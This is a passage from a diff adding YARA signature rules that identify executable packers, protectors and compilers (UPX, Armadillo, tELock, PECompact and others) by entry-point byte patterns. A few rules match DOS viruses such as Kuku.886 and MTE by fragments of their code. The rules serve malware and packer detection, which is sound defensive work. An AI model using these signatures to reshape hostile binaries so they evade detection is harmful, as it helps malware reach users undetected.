+		$1 = {24 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 24 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_0991__0993_PE_DLL_
+{
+	meta:
+		description = "UPX 0.99.1 - 0.99.3 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 00 00 00 00 60 BE B0 00 00 00 8D BE 50 00 00 FF 57 83 CD FF EB 0D 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_166_EXE_
+{
+	meta:
+		description = "XPack 1.66 [EXE]"
+	strings:
+		$0 = {B8 8C D3 15 33 75 8B EC EB 01 E8 B8 99 03 FF E0 FA BC 10 00 33 C0 8E D0 2E 8F 06 D8 03 2E 8F 06 DD 03 EB 01 9A 0E BB CD 03 53 5F EB 01 9A 17 8B E5 FB 48 D1 E8 EB 01 9A CE 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 33 DB 8E DB C7 47 10 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_42_EXE__3_
+{
+	meta:
+		description = "Visual C++ 4.2 (EXE - 3)"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 00 41 00 68 00 00 40 00 50 64 89 25 00 00 00 00 83 EC 10 53 56 57 89 65 E8 FF 15 00 00 41 00 33 D2 8B C8 8A D4 81 E1 FF 00 00 00 C1 E8 10 89 15 00 00 41 00 89 0D 00 00 41 00 A3 00 00 41 00 C1 E1 08 03}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_124__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 1.24 -> Markus & Laszlo"
+	strings:
+		$0 = {31 2E 32 34 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _RoboForm_Installer_
+{
+	meta:
+		description = "RoboForm Installer"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 F3 40 00 68 44 90 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 68 F0 40 00 33 D2 8A D4 89 15 04 6B 41 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRS_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRS"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+		$1 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _bambam_004__bedrock_
+{
+	meta:
+		description = "bambam 0.04 -> bedrock"
+	strings:
+		$0 = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+		$1 = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _COOLcryptor_09__kongfoo_
+{
+	meta:
+		description = "COOLcryptor 0.9 -> kongfoo"
+	strings:
+		$0 = {E8 03 00 00 00 E9 EB 07 FF 04 24 EB 01 FF C3 E8 03 00 00 00 EB 02 EA C3 EB 08 8D 8D 72 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_1994_
+{
+	meta:
+		description = "Borland C++ 1994"
+	strings:
+		$0 = {8C CA 2E 89 ?? ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA A3 ?? ?? 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+		$1 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_090__099_ds_m_EXE_
+{
+	meta:
+		description = "aPack 0.90 - 0.99 -d/-s -m [EXE]"
+	strings:
+		$0 = {8C C8 8E D8 05 00 00 8E C0 50 BE 00 00 33 FF FC B2 80 BD 00 00 33 C9 50 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PEtite_2x_level_0_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEtite 2.x (level 0)"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _tELock_051_
+{
+	meta:
+		description = "tELock 0.51"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _SLR_OPTLINK_
+{
+	meta:
+		description = "SLR (OPTLINK)"
+	strings:
+		$0 = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyBox_D__Anskya_
+{
+	meta:
+		description = "PolyBox D -> Anskya"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+		$1 = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0}
+		$2 = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _ACProtect_14x__RISCO_soft_
+{
+	meta:
+		description = "ACProtect 1.4x -> RISCO soft"
+	strings:
+		$0 = {47 53 44 31 02 00 11 00}
+		$1 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+		$2 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _MoleBoxPro_255__Mole_Studio_h_
+{
+	meta:
+		description = "MoleBoxPro 2.5.5 -> Mole Studio (h)"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 CA 69 00 00 E9 DE 69 00 00 E9 D9 69 00 00 E8 5E FB FF FF 3E F4 00 00}
+		$1 = {E8 00 00 00 00 60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 CA 69 00 00 E9 DE 69 00 00 E9 D9 69 00 00 E8 5E FB FF FF 3E F4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v4000053__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.00.0053 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 4B 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4B 00 A3 A4 B7 4B 00 E8 01 12 00 00 A3 F8 A1 4B 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+		$1 = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EPack_14_lite_final__by_6aHguT_
+{
+	meta:
+		description = "!EPack 1.4 lite (final) - by 6aHguT"
+	strings:
+		$0 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+		$1 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Upack_V010V012__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.10-V0.12 -> Dwing * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPaCK_10__C_Copyright_1998_by_ANAKiN_h_
+{
+	meta:
+		description = "PE-PaCK 1.0 -> (C) Copyright 1998 by ANAKiN (h)"
+	strings:
+		$0 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+	condition:
+		$0 at entrypoint
+}
+rule _tELock_042_
+{
+	meta:
+		description = "tELock 0.42"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22__c199899_Ian_Luck_
+{
+	meta:
+		description = "Petite 2.2 -> (c)1998-99 Ian Luck"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+		$1 = {66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+		$2 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Vx_Kuku886_
+{
+	meta:
+		description = "Vx: Kuku.886"
+	strings:
+		$0 = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Berio_200_beta_
+{
+	meta:
+		description = "Berio 2.00 beta"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 74 01}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v12_RC__MARQUiS_
+{
+	meta:
+		description = ".BJFnt v1.2 RC -> :MARQUiS:"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_MTE_nonencrypted_
+{
+	meta:
+		description = "Vx: MTE (non-encrypted)"
+	strings:
+		$0 = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+	condition:
+		$0 at entrypoint
+}
+rule _Mess_107_COM_
+{
+	meta:
+		description = "Mess 1.07 [COM]"
+	strings:
+		$0 = {46 55 43 4B 59 4F 55 1A FF 5F B9 FF FF F3 26 AC E3 02 EB 0C B8 00 70 50 9D 9C 58 25 00 70 75 18 BA 29 01 B4 09 CD 21 CD 20 33 38 36 2B 20 72 65 71 75 69 72 65 64 21 24 B4 30 CD 21 3C 02 77 02 CD 20 BD 47 01 FF E5 FA 66 33 C0 0F 23 F8 0F 23}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v155_
+{
+	meta:
+		description = "PECompact v1.55"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v100_
+{
+	meta:
+		description = "PECompact v1.00"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+	condition:
+		$0 at entrypoint
+}
+rule _CICompress_10_
+{
+	meta:
+		description = "CICompress 1.0"
+	strings:
+		$0 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260_
+{
+	meta:
+		description = "Armadillo v2.60"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+		$1 = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CodeCrypt_014b_
+{
+	meta:
+		description = "CodeCrypt 0.14b"
+	strings:
+		$0 = {EB 02 0F 4D 55 EB 02 0F C7 E8 00 00 00 00 EB 02 83 3D 5D EB 03 0F CA 0F 81 ED 00 00 40 00 52 8B 54 24 08 E8 00 00 FF FF 89 95 00 00 40 00 5A EB 02 0F 4D EB 02 FF 1D EB 02 0F C7 EB 02 0F C0 EB 03 0F CA 0F EB 03 FF 1D 34 EB 02 83 3D EB 02 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PENightMare_2_Beta_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENightMare 2 Beta"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+		$1 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_VirusConstructorbased_
+{
+	meta:
+		description = "Vx: VirusConstructor.based"
+	strings:
+		$0 = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+		$1 = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+		$2 = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EPExE_Pack_V14_lite_b2__6aHguT__gluk_
+{
+	meta:
+		description = "!EP(ExE Pack) V1.4 lite b2 -> 6aHguT & g-l-u-k"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 55 53 45 52 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 EB 4C 47 6C 6F 62 61 6C 41 6C 6C 6F 63 00 47 6C 6F 62 61 6C 46 72 65 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Patch_Creation_Wizard_12_Memory_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard 1.2 Memory Patch"
+	strings:
+		$0 = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v420__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.20 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D8 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+		$1 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+	condition:
